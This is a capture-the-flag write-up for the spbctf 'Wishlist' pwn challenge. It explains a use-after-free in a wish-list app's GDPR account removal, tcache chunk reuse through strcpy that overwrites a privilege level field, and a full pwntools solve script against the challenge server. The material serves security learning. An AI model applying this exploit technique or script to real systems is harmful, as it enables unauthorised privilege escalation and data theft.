Wishlist
Wishlist
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: privilege_escalation_level_overwrite, struct_field_overwrite_via_strcpy, tcache_lifo_reuse, uaf_dangling_pointer
Summary
Task: Menu-driven wish list app with user registration, login, and GDPR account removal; flagholder user stores flag as a wish; Use-After-Free in GDPR remove (frees user struct but never NULLs LOGGED_IN_USER). Solution: Free user via GDPR, then add_wish reuses the freed 0x60 tcache chunk via strcpy, overwriting the level field to 0x13371337 (mega admin) to dump all users' wishes including the flag.
Wishlist — spbctf
Description
nc 109.233.56.90 11729
A menu-driven "Wish List" application (ELF 64-bit x86-64, PIE, Full RELRO, Canary, NX) with user registration/login, wish management, and a "GDPR account removal" feature. Source code (mc5.c) is provided. A flagholder user is created at startup with the flag stored as one of its wishes. The list_wishes function prints ALL users' wishes if the caller's level equals 0x13371337 (mega admin).
Analysis
Binary protections
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
All protections are enabled — no GOT overwrite, no shellcode on stack, no fixed addresses. The exploit must be purely logic/heap-based.
Struct layout
c read-only • copy allowedstruct user { // sizeof = 88 bytes -> malloc chunk size 0x60 (96 bytes with metadata) char login[32]; // offset 0 char password[32]; // offset 32 int level; // offset 64 // 4 bytes padding // offset 68 char **wishes; // offset 72 int count; // offset 80 };
Key code paths
Flag holder setup (add_flag_holder): Creates user "flagholder" with a random 26-hex-char password and level 44. The flag is stored as wish #3 (0-indexed).
Mega admin check (list_wishes): If u->level == 0x13371337, the function iterates over ALL users and prints their wishes — including flagholder's flag.
GDPR removal (menu option 9):
c read-only • copy allowedcase 9: free_user(LOGGED_IN_USER); // frees the struct break; // but LOGGED_IN_USER is NEVER set to NULL!
This is the vulnerability: free_user calls free(u) and removes the user from the USERS[] array, but the caller never sets LOGGED_IN_USER = NULL. The pointer dangles to freed heap memory.
Add wish (add_wish):
c read-only • copy allowedvoid add_wish(struct user * u, char * wish) { u->wishes = realloc(u->wishes, (u->count + 1) * sizeof(char *)); u->wishes[u->count] = malloc(strlen(wish) + 1); // <-- reuses freed 0x60 chunk! strcpy(u->wishes[u->count], wish); // <-- overwrites struct memory u->count++; }
When called on the dangling pointer:
realloc(NULL, 8)allocates a 0x20 chunk for the wishes array (sincewishesandcountfields in the freed chunk retain their pre-free values of NULL/0 thanks to tcache only overwriting the first 16 bytes for fd/key).malloc(strlen(wish)+1)with an 81-byte wish string requests a chunk from the 0x60 tcache bin — which returns the just-freed user struct.strcpywrites the attacker-controlled wish string over the struct memory, including thelevelfield at offset 64.
Why tcache makes this reliable
glibc tcache uses LIFO (last-in, first-out). The freed 0x60 chunk goes to the head of the tcache bin. The next malloc of a matching size class (49-88 bytes → 0x60 chunk) returns exactly that chunk. No heap feng shui or bin manipulation needed.
Why strcpy works
The value 0x13371337 in little-endian is \x37\x13\x37\x13 — no null bytes. strcpy copies the entire payload without truncation up to the terminating null at byte 80.
Solution
Exploit chain
- Register user "aaaa" with password "pass", then login →
LOGGED_IN_USERpoints to user A's 0x60 heap chunk. - GDPR remove (option 9) →
free_userfrees A's chunk to tcache 0x60 bin, butLOGGED_IN_USERstill dangles to the freed memory. - Add wish (option 2) on the dangling pointer with an 80-byte payload. Inside
add_wish:realloc(NULL, 8)grabs a 0x20 chunk for the wishes array.malloc(81)reuses the freed 0x60 tcache chunk.strcpyoverwrites the struct memory. The payload places0x13371337at offset 64, overwriting thelevelfield.
- Show wishes (option 1) →
LOGGED_IN_USER->levelnow equals0x13371337(mega admin), solist_wishesdumps every user's wishes including flagholder's flag.
Solve script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import struct, re HOST, PORT = '109.233.56.90', 11729 def start(): if args.LOCAL: return process('./mc5.elf') return remote(HOST, PORT) io = start() def menu_loggedout(choice): io.recvuntil(b'your choice? ') io.sendline(str(choice).encode()) def menu_loggedin(choice): io.recvuntil(b'your choice? ') io.sendline(str(choice).encode()) # 1) Register user A menu_loggedout(2) io.recvuntil(b'Username: '); io.sendline(b'aaaa') io.recvuntil(b'Password: '); io.sendline(b'pass') io.recvuntil(b'Repeat password: '); io.sendline(b'pass') # 2) Login as A -> LOGGED_IN_USER = A (0x60 chunk) menu_loggedout(1) io.recvuntil(b'Username: '); io.sendline(b'aaaa') io.recvuntil(b'Password: '); io.sendline(b'pass') # 3) GDPR remove -> free A, LOGGED_IN_USER still dangling menu_loggedin(9) # 4) Add wish on dangling pointer. malloc(81) reuses freed 0x60 chunk. # strcpy overwrites struct including level at offset 64. payload = bytearray(b'A' * 80) payload[64:68] = struct.pack('<I', 0x13371337) menu_loggedin(2) io.recvuntil(b'Your new wish: ') io.sendline(bytes(payload)) # 5) Show wishes -> level == 0x13371337 -> mega admin dumps all wishes menu_loggedin(1) data = io.recvuntil(b'your choice?', timeout=5) print(data.decode(errors='replace')) m = re.search(rb'(spbctf\{[^}]*\})', data) if m: log.success('FLAG: ' + m.group(1).decode()) io.close()